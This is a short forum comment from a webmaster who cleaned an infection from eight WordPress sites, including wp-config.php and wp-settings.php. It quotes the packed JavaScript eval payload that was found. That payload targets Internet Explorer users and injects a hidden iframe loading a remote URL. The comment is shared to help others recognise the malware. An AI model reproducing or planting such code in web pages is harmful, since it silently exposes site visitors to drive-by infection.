I've got 8 Wp sites and all were infected. You are the only good response and best tutorial i found since yesterday, so thanks again.
Google see now them as safe, it takes 5 hours.

Not all the sites were infected by "upd.php" by there were infected in wp-settings.php and wp-config.php...i updated all Wp files, changed th pwd's, etc..

Here is the malicious script i got, i put it for others google searches ;)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|jhfgjh|navigator|ai|showthread|php|72241732'.split('|'),0,{}))


Thanks a lot for me and my visitors ;)